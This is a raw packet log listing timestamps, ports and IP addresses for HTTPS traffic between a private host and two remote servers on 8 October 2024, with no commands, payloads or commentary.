Oct 8, 2024 20:52:11.442723989 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442765951 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442770958 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442811012 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.443763971 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.443778992 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.443806887 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.443819046 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.444380045 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444396973 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444464922 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.444470882 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444538116 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.444622993 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444638968 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444678068 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.444680929 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444705963 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.444724083 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.444827080 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444842100 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444890022 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.444895983 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.444933891 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445060015 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445077896 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445120096 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445125103 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445151091 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445168972 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445317030 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445333004 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445374012 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445379972 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445404053 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445424080 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445619106 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445633888 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445681095 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445684910 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445722103 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445741892 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445751905 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445799112 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445804119 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445841074 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445884943 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445899010 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445936918 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.445943117 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.445981979 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.446110964 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.446130991 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.446163893 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.446170092 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.446193933 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.446206093 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.447077036 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.447112083 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.447189093 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448143959 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448173046 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.448244095 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448331118 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448348045 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.448354959 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448393106 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.448472977 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448503971 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448519945 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.448600054 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.448616982 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.449029922 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.449059963 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.449115038 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.449223995 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.449239016 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.480482101 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.480508089 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.480634928 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.480657101 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.480671883 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.480694056 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.480694056 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.480705023 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.480731010 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.480756998 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.506757021 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.506782055 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.506829023 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.506911993 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.506923914 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.506951094 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.507477999 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.507543087 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.507546902 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.507565022 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.507590055 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.507616997 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.507862091 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.635363102 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.641628027 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.641647100 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.642082930 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.642088890 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.737484932 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.737567902 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.737612009 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.748070002 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.748096943 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.748109102 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.748116016 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.769501925 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.769567013 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.769643068 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.776210070 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.776230097 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.121849060 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.121882915 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.121942997 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.122245073 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.122257948 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.300591946 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.300641060 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.302419901 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.302632093 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.319683075 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.319713116 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.320478916 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.320491076 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.321172953 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.321199894 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.321732044 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.321737051 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.321968079 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.321978092 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.327184916 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.327189922 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.331286907 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.331305981 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.335045099 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.335053921 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.440695047 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.440732956 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.440762997 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.440798998 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.440884113 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.440910101 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.441946030 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.441993952 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.442040920 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.442786932 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.442842007 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.442886114 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.481631041 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.536209106 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.605057955 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.605076075 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.605861902 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.605869055 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.607083082 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.607083082 CEST	49772	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.607100964 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.607110023 CEST	443	49772	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.614264965 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.614299059 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.614331961 CEST	49770	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.614340067 CEST	443	49770	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.635968924 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.635992050 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.636255980 CEST	49771	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.636264086 CEST	443	49771	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.639017105 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.639050961 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.639084101 CEST	49773	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.639091015 CEST	443	49773	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.641268969 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.641313076 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.641375065 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.641644955 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.641658068 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.651591063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.651662111 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.675910950 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.675954103 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.676239014 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.690383911 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.702491045 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.702557087 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.702606916 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.731405973 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.764266014 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.764297962 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.764311075 CEST	49774	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.764318943 CEST	443	49774	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.766825914 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.766875982 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.766944885 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.774336100 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.774352074 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.775698900 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.775712013 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.775778055 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.775883913 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.775897026 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.777456999 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.777498960 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.777551889 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.781764984 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.781805992 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.781857014 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.782067060 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.782082081 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.782597065 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:12.782605886 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:12.821240902 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821326017 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821363926 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821371078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.821392059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821425915 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.821427107 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821439028 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821472883 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.821479082 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821805954 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821837902 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821841002 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.821847916 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.821954012 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.821964025 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.826188087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.826240063 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.826252937 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.879935026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915035009 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915148973 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915178061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915193081 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915208101 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915242910 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915242910 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915254116 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915294886 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915299892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915306091 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915345907 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915350914 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915355921 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915409088 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915410042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915421963 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915426970 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915468931 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915545940 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915585995 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915745974 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915801048 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915838003 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915854931 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.915862083 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.915908098 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.916521072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.916584015 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.916615009 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.916623116 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.916630030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.916670084 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:12.916676998 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:12.973853111 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.035185099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035263062 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035331011 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.035353899 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035474062 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035541058 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.035547018 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035655975 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035676956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035768032 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035789013 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035878897 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035885096 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.035912037 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.035933018 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.036072969 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.036129951 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.036133051 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.036144972 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.036217928 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.036221981 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.036240101 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.036279917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.037009001 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.037071943 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.037086010 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.037091017 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.037132978 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.037169933 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.037828922 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.037900925 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.037902117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.037914038 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.037964106 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.038676977 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.038753986 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.038760900 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.038815975 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.038822889 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.038878918 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.039676905 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.039737940 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.127270937 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.127341032 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.127444983 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.127474070 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.127496004 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.127799034 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.127865076 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.127871037 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.127913952 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.127919912 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.127964973 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.127970934 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.128015995 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.128206968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.128263950 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.128371000 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.128424883 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.128998041 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.129060030 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.129092932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.129148006 CEST	49775	443	192.168.2.9	188.114.96.3
